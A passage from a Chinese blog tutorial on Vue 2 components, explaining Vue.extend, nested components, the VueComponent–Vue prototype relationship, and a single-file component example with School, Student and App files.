                            Vue的实例对象,以后简称vm。 vm管理着一个又一个vc,vc可以再
                        6.因为组件是可复用的 Vue 实例,所以它们与 new Vue 接收相同的选项,例如 data、computed、watch、methods 以及生命周期钩子等。仅有的例外是像 el 这样根实例特有的选项。
                          所以vm与vc属性配置并不是一模一样,尽管vc底层复用了很多vm的逻辑
-->
<div id="root">
    <school></school>
    <hello>
    </hello>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;

    const school = Vue.extend({
        template: `
          <div>
             <h1>学校名称:{{ name }}</h1>
             <h1>学校地址:{{ address }}</h1>
             <button @click="showname">点我提示学校名</button>
          </div>
        `,
        data(){
            return {
                name: '武汉科技大学',  //vuecomponent的实例对象
                address:'武汉'
            }
        },
        methods:{
            showname(){
              console.log(this);
              console.log(this.name);
           }
        }
    });

    // console.log(typeof school, school); //所谓的组件就是构造函数(VueComponent);


    //测试组件
    const test = Vue.extend({
       template:  `<h1>panyue</h1>`
    });

    //hello组件
    const hello = Vue.extend({
        template:`
          <div>
          <h1>{{ msg }}</h1>
          <test></test>
        </div>`,
        data(){
            return {
                msg: '你好'
            }
        },
        components: {
            test
        }
    })


    const vm = new Vue({
        el:"#root",
        components:{
            school,
            hello
        }
    });

    //验证school与hello并不是同一个VueComponent构造函数
    // school.a = 99;
    // console.log('@', school);
    // console.log('#', hello);
    // console.log(school === hello);
    // console.log(school.a, hello.a);
</script>
</body>

一个重要的内置关系

  • 一个重要的内置关系:VueComponent.prototype.proto === Vue.prototype

  • 为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。

代码演示:

<body>
    <!--
            1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
            2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
-->
    <div id="root">
        <!--new VueComponent只有在你写了<school/>或者<school></school>才会执行-->
        <school></school>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //一个内置关系
        Vue.prototype.x = 99;
        //注意 VueComponent.prototype.__proto__ === Vue.prototype === vm.__proto__

        const school = Vue.extend({
            template: `
          <div>
             <h1>学校名称:{{ name }}</h1>
             <h1>学校地址:{{ address }}</h1>
             <button @click="showname">点我提示学校名</button>
             <button @click="cx">点我输出x</button>
          </div>
        `,
            data() {
                return {
                    name: '武汉科技大学',  //vuecomponent的实例对象
                    address: '武汉'
                }
            },
            methods: {
                showname() {
                    console.log(this);
                    console.log(this.name);
                },
                cx() {
                    console.log(this); //this是VueComponent的实例对象
                    console.log(this.__proto__.__proto__ === Vue.prototype) //true 这里重要的内置关系哦!!!
                    console.log()
                    console.log(this.x);
                }
            }
        });

        new Vue({
            el: "#root",
            data: {
                msg: 'hello'
            },
            components: {
                school
            }
        });

        //验证
        // 定义一个构造函数
        // function Demo(){
        //     this.a = 1;
        //     this.b = 2;
        // }
        // 创建一个Demo的实例对象
        // const d = new Demo();
        // // console.log(d.x);
        // console.log(Demo.prototype); //显示原型属性
        // console.log(d.__proto__);// 隐士原型属性 原型对象只有一个
        // //操作原型对象追加x属性
        // Demo.prototype.x = 99;
        // console.log(d.__proto__ === Demo.prototype)
    </script>
</body>

1.21 单文件组件

单文件组件就是将一个组件的代码写在 .vue 这种格式的文件中,webpack 会将 .vue 文件解析成 html,css,js这些形式。

来做个单文件组件的案例:

School.vue

<template>
    <div class="demo">
        <h2>学校名称:{{name}}</h2>
        <h2>学校地址:{{address}}</h2>
        <button @click="showName">点我提示学校名</button>    
    </div>
</template>

<script>
     export default {
        name:'School',
        data(){
            return {
                name:'尚硅谷',
                address:'北京昌平'
            }
        },
        methods: {
            showName(){
                alert(this.name)
            }
        },
    }
</script>

<style>
    .demo{
        background-color: orange;
    }
</style>

Student.vue

<template>
    <div>
        <h2>学生姓名:{{name}}</h2>
        <h2>学生年龄:{{age}}</h2>
    </div>
</template>

<script>
     export default {
        name:'Student',
        data(){
            return {
                name:'张三',
                age:18
            }
        }
    }
</script>

App.vue

用来汇总所有的组件(大总管)

<template>
    <div>
        <School></School>
        <Student></Student>
    </div>
</template>

<script>
    //引入组件
    import School from './School.vue'
    import Student from './Student.vue'

    export default {
        name:'App',
        components:{
            School,
            Student
        }
    }
</script>

main.js

在这个文件里面创建 vue 实例

import App from './App.vue'

new Vue({
    el:'#root',
    template:`<App></App>`,
    components:{App},
})

index.html

在这写 vue 要绑定的容器

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>练习一下单文件组件的语法</title>
    </head>
    <body>
        <!-- 准备一个容器 -->
        <div id="root"></div>
        <script type="text/javascript" src="../js/vue.js"></script>
        <script type="text/javascript" src="./main.js"></script>
    </body>
</html>

 

posted @ 2024-02-17 12:07  coder雪山  阅读(60)  评论(0编辑  收藏  举报